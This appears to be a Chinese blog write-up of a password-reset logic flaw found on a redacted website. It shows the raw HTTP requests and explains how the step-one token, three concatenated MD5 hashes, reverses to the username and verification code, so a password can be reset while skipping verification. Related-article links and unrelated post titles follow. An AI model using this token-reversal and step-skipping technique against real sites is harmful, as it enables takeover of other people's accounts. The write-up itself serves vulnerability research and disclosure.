前言

偶然间挖了一个漏洞是密码重置,挖掘过程很有趣,可以参考下。

挖掘过程

在说明之前我们可以先走下正常流程,这样才方便查漏~

正常流程

第一步骤:

正常填写完,点击下一步发送请求:

POST /[URI] HTTP/1.1
Host: [Host]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: [Referer]
Content-Length: 37
Cookie: [Cookie]
X-Forwarded-For: 127.0.0.1
Connection: close userName=用户名/手机号/邮箱&code=验证码

获得对应的响应报文:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 217
Connection: close
Server: nginx/1.12.2 {"code":200,"data":{"username":"用户名"
,"mobile":"手机号","email":"邮箱","token":"3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6"},"msg":"ok"}

第二步骤:

获取验证码->输入验证码-进入第三步骤:

输入验证码进入第三步骤的请求包:

POST /[URI] HTTP/1.1
Host: [Host]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: [Referer]
Content-Length: 133
Cookie: [Cookie]
X-Forwarded-For: 127.0.0.1
Connection: close receiver=email&token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685

第三步骤重置密码请求包:

POST /[URI] HTTP/1.1
Host: [Host]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: [Referer]
Content-Length: 133
Cookie: [Cookie]
X-Forwarded-For: 127.0.0.1
Connection: close token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&pwd=mstsecsb123&checkPwd=mstsecsb123

分析流程

因为这里主要的目标是逻辑漏洞,所以其他类型的就不作研究~

分析并验证可疑点:

1.第一步骤返回包中能获取到的东西

名字 类型
username 正常 [明文]
mobile 打码 [138***888]
email 打码 [123***1@..]
token 正常 [加密处理过]

这里先给token划上疑问>其是否可以逆向?

这里的token值跟md5加密很相似,但是长度不一样(MD5长度为16位/32位)

所以大胆的猜想这里的token值可能是由多个md5拼接组成

得到token的值为96位除以根据MD5的长度(16位/32位),得出可能是由三组或者六组组成,这里我很幸运因为我按照三组的方式解密居然发现解密出来了,这里先按照32位分割:

然后丢去解密:

Md5 Text
3c6e0b8a9c15224a8228b9a98ca1531d key [用户名]
f72f78a365657d56853b6867fb37dc3c 6685 [时间戳]
444bcb3a3fcf8389296c49467f27e1d6 ok [返回消息正文 "msg":"ok"]

结论: Token可逆向

2.根据结论分析第二步骤验证码是否跟token有关联:

token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685

结论: 直接从逆向token操作中可以了解到两者之间是有关联的有token就能知道重置密码的验证码

3.根据结论分析第二步骤是否是必要操作:

这里直接根据第一步骤获取的内容带入到第三步骤,完全可以成功重置密码,发现完全可以绕过第二步骤的验证。

结论: 直接把第一步返回的token带入第三步骤即可重置密码

结尾

token安全之任意密码重置的更多相关文章

  1. PJzhang:任意密码重置的常规姿势

    猫宁!!! 之前在360补天看过carry_your分享的46分钟短视频“任意用户密码重置的10种姿势”. 在京东SRC安全小课堂第89期,也有一篇他的文章:web漏洞之逻辑漏洞挖掘.内容朴实无华. ...

  2. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  3. PHPCMS v9.6.0 任意用户密码重置

    参考来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html 他分析的好像不对.我用我的在分析一次. 先来看poc: /inde ...

  4. [web 安全]逻辑漏洞之密码重置

    原文:http://wooyun.jozxing.cc/static/drops/web-5048.html 密码找回逻辑一.用户凭证(密码找回的凭证太弱,暴力破解)1.当当网任意用户密码修改漏洞(h ...

  5. Django实现用户密码重置

    使用Django内置的认证视图实现简单的通过邮箱重置密码的功能版本:django 1.11 在django.contrib.auth.views中提供了四个类视图用于密码重置 class Passwo ...

  6. ASP.NET Core MVC 打造一个简单的图书馆管理系统 (修正版)(三)密码修改以及密码重置

     前言: 本系列文章主要为我之前所学知识的一次微小的实践,以我学校图书馆管理系统为雏形所作. 本系列文章主要参考资料: 微软文档:https://docs.microsoft.com/zh-cn/as ...

  7. Laravel实现找回密码及密码重置的例子

    https://mp.weixin.qq.com/s/PO5f5OJPt5FzUZr-7Xz8-g Laravel实现找回密码及密码重置功能在php实现与在这里实现会有什么区别呢,下面我们来看看Lar ...

  8. MongoDB·Windows下管理员密码重置解决方案

    阅文时长 | 1.07分钟 字数统计 | 1730.4字符 主要内容 | 1.问题切入 2.详细步骤 3.声明与参考资料 『MongoDB·Windows下管理员密码重置解决方案』 编写人 | SCs ...

  9. WEB安全新玩法 [4] 防护邮箱密码重置漏洞

    大部分具有账号系统的应用都会提供重置用户登录密码的功能,常见方式之一是:用户输入自己的邮箱地址或手机号,应用向这个邮箱或手机号发送验证码,用户将收到的验证码输入应用中即可完成密码重置.这一过程容易因设 ...

随机推荐

  1. node小爬虫

    这一章主利用node的http模块制作一个网页的小爬虫来爬去网页信息,其中对于后端html的节点的获取采用了cheerio模块,这 /** * Created by Administrator on ...

  2. GCC 预处理,汇编,编译,链接,连接静态库,动态库

    gcc Record gcc -E file1.c > output gcc -E file1.c -o file1.i gcc -S file1.i -o file1.s gcc -S fil ...

  3. 201871010108-高文利《面向对象程序设计(java)》第十周学习总结

    项目 内容 这个作业属于哪个课程 <任课教师博客主页链接> https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 <作业链接地址> ht ...

  4. Python运维中20个常用的库和模块

    1.psutil是一个跨平台库(https://github.com/giampaolo/psutil) 能够实现获取系统运行的进程和系统利用率(内存,CPU,磁盘,网络等),主要用于系统监控,分析和 ...

  5. 使用表格 代替 txt文件(未完结)

    使用xlrd读取用户数据 首先创建一个xls文件 xlrd模块的简单使用 添加处理execl的接口: 使用excel生成测试报表

  6. Python进阶-VI 生成器函数进阶、生成器表达式、推导式

    一.生成器函数进阶 需求:求取移动平均数 1.应用场景之一,在奥运会气枪射击比赛中,每打完一发都会显示平均环数! def show_avg(): print('你已进入显示移动平均环数系统!') a ...

  7. HDU 6588 Function

    [传送门] 求$$\sum_{i=1}^{n} \gcd(\lfloor \sqrt[3]{i} \rfloor, i)$$题解写的很清楚,自己重新推一推. $$\sum_{i=1}^{n} \gcd ...

  8. NOIP201110观光公交

    题目描述 Description 风景迷人的小城Y市,拥有n个美丽的景点.由于慕名而来的游客越来越多,Y市特意安排了一辆观光公交车,为游客提供更便捷的交通服务.观光公交车在第0分钟出现在1号景点,随后 ...

  9. 解决js 0.1 + 0.2 = 0.30000000000000004 的位数精度问题

    https://www.html.cn/archives/7340 解决办法 parseFloat((0.1 + 0.2).toFixed(10))

  10. cf1207解题报告

    cf1207解题报告 A 模拟 #include <bits/stdc++.h> #define ll long long using namespace std; ll T,a,b,c, ...